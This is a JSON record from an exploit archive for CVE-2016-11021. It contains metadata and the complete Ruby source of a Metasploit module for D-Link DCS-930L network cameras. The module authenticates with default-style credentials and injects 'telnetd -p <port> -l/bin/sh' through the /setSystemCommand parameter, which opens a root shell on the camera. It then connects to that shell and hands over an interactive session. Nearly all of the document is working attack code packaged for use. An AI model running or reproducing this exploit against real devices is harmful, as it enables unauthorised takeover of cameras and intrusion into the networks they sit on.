{"exploit":{"id":"EDB-39437","name":"D-Link DCS-930L < 2.12 - Authenticated Remote Command Execution (Metasploit)","description":"D-Link DCS-930L < 2.12 - Authenticated Remote Command Execution (Metasploit)","cves":["CVE-2016-11021"],"author":"Metasploit","published":"2016-02-10","platform":"hardware","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39437","path":"exploits/hardware/remote/39437.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39437.rb","vulnerabilities":[{"id":"CVE-2016-11021","state":"PUBLISHED","title":null,"titleSource":null,"description":"setSystemCommand on D-Link DCS-930L devices before 2.12 allows a remote attacker to execute code via an OS command in the SystemCommand parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-11021","cvss":{"version":"3.1","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-11021"},"updatedAt":"2025-10-21T23:35:49.525Z","retrievedAt":"2026-11-27T09:11:23.289Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39437.png?v=2","url":"https://exploitbin.com/exploits/EDB-39437","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39437/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39437/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n## This module requires Metasploit: http://metasploit.com/download\n## Current source: https://github.com/rapid7/metasploit-framework\n###\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\n  include Msf::Exploit::Remote::Telnet\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'        => 'D-Link DCS-930L Authenticated Remote Command Execution',\n      'Description' => %q{\n        The D-Link DCS-930L Network Video Camera is vulnerable\n        to OS Command Injection via the web interface.  The vulnerability\n        exists at /setSystemCommand, which is accessible with credentials.\n        This vulnerability was present in firmware version 2.01 and fixed\n        by 2.12.\n      },\n      'Author'      =>\n        [\n          'Nicholas Starke <nick@alephvoid.com>'\n        ],\n      'License'         => MSF_LICENSE,\n      'DisclosureDate'  => 'Dec 20 2015',\n      'Privileged'      => true,\n      'Platform'        => 'unix',\n      'Arch'            => ARCH_CMD,\n      'Payload'         =>\n        {\n          'Compat'  => {\n          'PayloadType'    => 'cmd_interact',\n          'ConnectionType' => 'find',\n          },\n        },\n      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },\n      'Targets'        =>\n        [\n          [  'Automatic',     { } ],\n        ],\n      'DefaultTarget'  => 0\n     ))\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n        OptString.new('PASSWORD', [ false, 'Password to login with', ''])\n      ], self.class)\n\n    register_advanced_options(\n      [\n        OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),\n        OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])\n      ], self.class)\n  end\n\n  def telnet_timeout\n    (datastore['TelnetTimeout'] || 10)\n  end\n\n  def banner_timeout\n    (datastore['TelnetBannerTimeout'] || 25)\n  end\n\n  def exploit\n    user = datastore['USERNAME']\n    pass = datastore['PASSWORD'] || ''\n\n    test_login(user, pass)\n    exploit_telnet\n  end\n\n  def test_login(user, pass)\n    print_status(\"#{peer} - Trying to login with #{user} : #{pass}\")\n\n    res = send_request_cgi({\n      'uri' => '/',\n      'method' => 'GET',\n      'authorization' => basic_auth(user, pass)\n    })\n\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}\") if res.code != 200\n\n    print_good(\"#{peer} - Successful login #{user} : #{pass}\")\n  end\n\n  def exploit_telnet\n    telnet_port = rand(32767) + 32768\n\n    print_status(\"#{peer} - Telnet Port: #{telnet_port}\")\n\n    cmd = \"telnetd -p #{telnet_port} -l/bin/sh\"\n\n    telnet_request(cmd)\n\n    print_status(\"#{rhost}:#{telnet_port} - Trying to establish telnet connection...\")\n    ctx = { 'Msf' => framework, 'MsfExploit' => self }\n    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })\n\n    if sock.nil?\n      fail_with(Failure::Unreachable, \"#{rhost}:#{telnet_port} - Backdoor service unreachable\")\n    end\n\n    add_socket(sock)\n\n    print_status(\"#{rhost}:#{telnet_port} - Trying to establish a telnet session...\")\n    prompt = negotiate_telnet(sock)\n\n    if prompt.nil?\n      sock.close\n      fail_with(Failure::Unknown, \"#{rhost}:#{telnet_port} - Unable to establish a telnet session\")\n    else\n      print_good(\"#{rhost}:#{telnet_port} - Telnet session successfully established\")\n    end\n\n    handler(sock)\n  end\n\n  def telnet_request(cmd)\n    uri = '/setSystemCommand'\n\n    begin\n      res = send_request_cgi({\n        'uri' => uri,\n        'method' => 'POST',\n        'vars_post' => {\n          'ReplySuccessPage' => 'docmd.htm',\n          'ReplyErrorPage' => 'docmd.htm',\n          'SystemCommand'  => cmd,\n          'ConfigSystemCommand' => 'Save'\n        }\n      })\n      return res\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\n\n  def negotiate_telnet(sock)\n    begin\n      Timeout.timeout(banner_timeout) do\n        while(true)\n          data = sock.get_once(-1, telnet_timeout)\n          return nil if not data or data.length == 0\n          if data =~ /BusyBox/\n            return true\n          end\n        end\n      end\n    rescue ::Timeout::Error\n      return nil\n    end\n  end\nend","sha256":"dcc2cc4e1d81358396e45ffad74d3436e5f6a8afcf410262a855671f7635934e","bytes":4609,"fetchedAt":"2026-11-27T09:11:23.180Z","encoding":"utf-8 (display only; download retains original bytes)"}